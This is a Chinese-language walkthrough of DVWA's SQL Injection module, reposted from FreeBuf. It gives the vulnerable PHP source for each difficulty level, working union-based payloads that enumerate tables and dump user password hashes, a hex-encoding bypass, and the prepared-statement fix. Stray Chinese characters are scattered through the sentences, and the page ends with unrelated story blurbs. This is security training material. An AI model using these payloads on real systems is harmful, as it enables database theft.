DVWA之SQL Injection

SQL Injection

SQL Injection,即SQL注入电湘,是指攻擊者通過(guò)注入惡意的SQL命令隔节,破壞SQL查詢(xún)語(yǔ)句的結(jié)構(gòu),從而達(dá)到執(zhí)行惡意SQL語(yǔ)句的目的寂呛。SQL注入漏洞的危害是巨大的怎诫,常常會(huì)導(dǎo)致整個(gè)數(shù)據(jù)庫(kù)被“脫褲”,盡管如此贷痪,SQL注入仍是現(xiàn)在最常見(jiàn)的Web漏洞之一幻妓。

DVWA-1.9系列一共分為10個(gè)功能模塊:
Brute Force(暴力破解)
Command Injection(命令行注入)
CSRF(跨站請(qǐng)求偽造)
File Inclusion(文件包含)
File Upload(文件上傳)
Insecure CAPTCHA(不安全的驗(yàn)證碼)
SQL Injection(SQL注入)
SQL Injection(Blind)(SQL盲注)
XSS(Reflected)(反射型跨站腳本)
XSS(Stored)(存儲(chǔ)型跨站腳本)

手工注入思路

自動(dòng)化的注入神器sqlmap固然好用,但還是要掌握一些手工注入的思路劫拢,下面簡(jiǎn)要介紹手工注入(非盲注)的步驟肉津。

1.判斷是否存在注入,注入是字符型還是數(shù)字型

2.猜解SQL查詢(xún)語(yǔ)句中的字段數(shù)

3.確定顯示的字段順序

4.獲取當(dāng)前數(shù)據(jù)庫(kù)

5.獲取數(shù)據(jù)庫(kù)中的表

6.獲取表中的字段名

7.下載數(shù)據(jù)

下面對(duì)四種級(jí)別的代碼進(jìn)行分析舱沧。

Low

服務(wù)器端核心代碼

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?> 

可以看到妹沙,Low級(jí)別的代碼對(duì)來(lái)自客戶(hù)端的參數(shù)id沒(méi)有進(jìn)行任何的檢查與過(guò)濾,存在明顯的SQL注入熟吏。

****漏洞利用****

現(xiàn)實(shí)攻擊場(chǎng)景下距糖,攻擊者是無(wú)法看到后端代碼的玄窝,所以下面的手工注入步驟是建立在無(wú)法看到源碼的基礎(chǔ)上。

1.判斷是否存在注入悍引,注入是字符型還是數(shù)字型

輸入1恩脂,查詢(xún)成功:

輸入1’and ‘1’ =’2,查詢(xún)失敗趣斤,返回結(jié)果為空:

輸入1’or ‘1234 ’=’1234俩块,查詢(xún)成功:

返回了多個(gè)結(jié)果,說(shuō)明存在字符型注入唬渗。

2.猜解SQL查詢(xún)語(yǔ)句中的字段數(shù)

輸入1′ or 1=1 order by 1 #典阵,查詢(xún)成功:

輸入1′ or 1=1 order by 2 #,查詢(xún)成功:

輸入1′ or 1=1 order by 3 #镊逝,查詢(xún)失斪嘲 :

說(shuō)明執(zhí)行的SQL查詢(xún)語(yǔ)句中只有兩個(gè)字段,即這里的First name撑蒜、Surname歹啼。

(這里也可以通過(guò)輸入union select 1,2,3…來(lái)猜解字段數(shù))

3.確定顯示的字段順序

輸入1′ union select 1,2 #,查詢(xún)成功:

說(shuō)明執(zhí)行的SQL語(yǔ)句為select First name,Surname from 表 where ID=’id’…

4.獲取當(dāng)前數(shù)據(jù)庫(kù)

輸入1′ union select 1,database() #座菠,查詢(xún)成功:

說(shuō)明當(dāng)前的數(shù)據(jù)庫(kù)為dvwa

5.獲取數(shù)據(jù)庫(kù)中的表

輸入1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #狸眼,查詢(xún)成功:

說(shuō)明數(shù)據(jù)庫(kù)dvwa中一共有兩個(gè)表,guestbook與users浴滴。

6.獲取表中的字段名

輸入1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #拓萌,查詢(xún)成功:

說(shuō)明users表中有8個(gè)字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login升略。

7.下載數(shù)據(jù)

輸入1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #微王,查詢(xún)成功:

這樣就得到了users表中所有用戶(hù)的user_id,first_name,last_name,password的數(shù)據(jù)。

Medium

服務(wù)器端核心代碼

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Display values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    //mysql_close();
}

?>

可以看到品嚣,Medium級(jí)別的代碼利用mysql_real_escape_string函數(shù)對(duì)特殊符號(hào)

\x00,\n,\r,,’,”,\x1a進(jìn)行轉(zhuǎn)義炕倘,同時(shí)前端頁(yè)面設(shè)置了下拉選擇表單,希望以此來(lái)控制用戶(hù)的輸入翰撑。

****漏洞利用****

雖然前端使用了下拉選擇菜單罩旋,但我們依然可以通過(guò)抓包改參數(shù),提交惡意構(gòu)造的查詢(xún)參數(shù)眶诈。

1.判斷是否存在注入涨醋,注入是字符型還是數(shù)字型

抓包更改參數(shù)id為1′ or 1=1 #

報(bào)錯(cuò):

抓包更改參數(shù)id為1 or 1=1 #,查詢(xún)成功:

說(shuō)明存在數(shù)字型注入逝撬。

(由于是數(shù)字型注入东帅,服務(wù)器端的mysql_real_escape_string函數(shù)就形同虛設(shè)了,因?yàn)閿?shù)字型注入并不需要借助引號(hào)球拦。)

2.猜解SQL查詢(xún)語(yǔ)句中的字段數(shù)

抓包更改參數(shù)id為1 order by 2 #,查詢(xún)成功:

抓包更改參數(shù)id為1 order by 3 #,報(bào)錯(cuò):

說(shuō)明執(zhí)行的SQL查詢(xún)語(yǔ)句中只有兩個(gè)字段坎炼,即這里的First name愧膀、Surname。

3.確定顯示的字段順序

抓包更改參數(shù)id為1 union select 1,2 #谣光,查詢(xún)成功:

說(shuō)明執(zhí)行的SQL語(yǔ)句為select First name,Surname from 表 where ID=id…

4.獲取當(dāng)前數(shù)據(jù)庫(kù)

抓包更改參數(shù)id為1 union select 1,database() #檩淋,查詢(xún)成功:

說(shuō)明當(dāng)前的數(shù)據(jù)庫(kù)為dvwa。

5.獲取數(shù)據(jù)庫(kù)中的表

抓包更改參數(shù)id為1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #萄金,查詢(xún)成功:

說(shuō)明數(shù)據(jù)庫(kù)dvwa中一共有兩個(gè)表蟀悦,guestbook與users。

6.獲取表中的字段名

抓包更改參數(shù)id為1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users ’#氧敢,查詢(xún)失斎崭辍:

這是因?yàn)閱我?hào)被轉(zhuǎn)義了,變成了\’孙乖。

可以利用16進(jìn)制進(jìn)行繞過(guò)浙炼,抓包更改參數(shù)id為1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #,查詢(xún)成功:

說(shuō)明users表中有8個(gè)字段唯袄,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login弯屈。

7.下載數(shù)據(jù)

抓包修改參數(shù)id為1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢(xún)成功:

這樣就得到了users表中所有用戶(hù)的user_id,first_name,last_name,password的數(shù)據(jù)恋拷。

High

服務(wù)器端核心代碼

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?> 

可以看到资厉,與Medium級(jí)別的代碼相比,High級(jí)別的只是在SQL查詢(xún)語(yǔ)句中添加了LIMIT 1蔬顾,希望以此控制只輸出一個(gè)結(jié)果宴偿。

****漏洞利用****

雖然添加了LIMIT 1,但是我們可以通過(guò)#將其注釋掉阎抒。由于手工注入的過(guò)程與Low級(jí)別基本一樣酪我,直接最后一步演示下載數(shù)據(jù)。

輸入1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #且叁,查詢(xún)成功:

需要特別提到的是都哭,High級(jí)別的查詢(xún)提交頁(yè)面與查詢(xún)結(jié)果顯示頁(yè)面不是同一個(gè),也沒(méi)有執(zhí)行302跳轉(zhuǎn)逞带,這樣做的目的是為了防止一般的sqlmap注入欺矫,因?yàn)閟qlmap在注入過(guò)程中,無(wú)法在查詢(xún)提交頁(yè)面上獲取查詢(xún)的結(jié)果展氓,沒(méi)有了反饋穆趴,也就沒(méi)辦法進(jìn)一步注入。

Impossible

服務(wù)器端核心代碼

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到遇汞,Impossible級(jí)別的代碼采用了PDO技術(shù)未妹,劃清了代碼與數(shù)據(jù)的界限簿废,有效防御SQL注入,同時(shí)只有返回的查詢(xún)結(jié)果數(shù)量為一時(shí)络它,才會(huì)成功輸出族檬,這樣就有效預(yù)防了“脫褲”,Anti-CSRFtoken機(jī)制的加入了進(jìn)一步提高了安全性
轉(zhuǎn)載freebuf帖子地址:http://www.freebuf.com/articles/web/120747.html

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末化戳,一起剝皮案震驚了整個(gè)濱河市单料,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌点楼,老刑警劉巖扫尖,帶你破解...
    沈念sama閱讀 216,544評(píng)論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異掠廓,居然都是意外死亡换怖,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,430評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門(mén)却盘,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)狰域,“玉大人,你說(shuō)我怎么就攤上這事黄橘≌桌溃” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 162,764評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵塞关,是天一觀的道長(zhǎng)抬探。 經(jīng)常有香客問(wèn)我,道長(zhǎng)帆赢,這世上最難降的妖魔是什么小压? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,193評(píng)論 1 292
  • 正文 為了忘掉前任,我火速辦了婚禮椰于,結(jié)果婚禮上怠益,老公的妹妹穿的比我還像新娘。我一直安慰自己瘾婿,他們只是感情好蜻牢,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,216評(píng)論 6 388
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著偏陪,像睡著了一般抢呆。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上笛谦,一...
    開(kāi)封第一講書(shū)人閱讀 51,182評(píng)論 1 299
  • 那天抱虐,我揣著相機(jī)與錄音,去河邊找鬼饥脑。 笑死恳邀,一個(gè)胖子當(dāng)著我的面吹牛懦冰,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播轩娶,決...
    沈念sama閱讀 40,063評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼儿奶,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了鳄抒?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 38,917評(píng)論 0 274
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤椰弊,失蹤者是張志新(化名)和其女友劉穎许溅,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體秉版,經(jīng)...
    沈念sama閱讀 45,329評(píng)論 1 310
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡贤重,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,543評(píng)論 2 332
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了清焕。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片并蝗。...
    茶點(diǎn)故事閱讀 39,722評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖秸妥,靈堂內(nèi)的尸體忽然破棺而出滚停,到底是詐尸還是另有隱情,我是刑警寧澤粥惧,帶...
    沈念sama閱讀 35,425評(píng)論 5 343
  • 正文 年R本政府宣布键畴,位于F島的核電站,受9級(jí)特大地震影響突雪,放射性物質(zhì)發(fā)生泄漏起惕。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,019評(píng)論 3 326
  • 文/蒙蒙 一咏删、第九天 我趴在偏房一處隱蔽的房頂上張望惹想。 院中可真熱鬧,春花似錦督函、人聲如沸嘀粱。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,671評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)草穆。三九已至,卻和暖如春搓译,著一層夾襖步出監(jiān)牢的瞬間悲柱,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 32,825評(píng)論 1 269
  • 我被黑心中介騙來(lái)泰國(guó)打工些己, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留豌鸡,地道東北人嘿般。 一個(gè)月前我還...
    沈念sama閱讀 47,729評(píng)論 2 368
  • 正文 我出身青樓尝偎,卻偏偏與公主長(zhǎng)得像嗡害,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子克蚂,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,614評(píng)論 2 353

推薦閱讀更多精彩內(nèi)容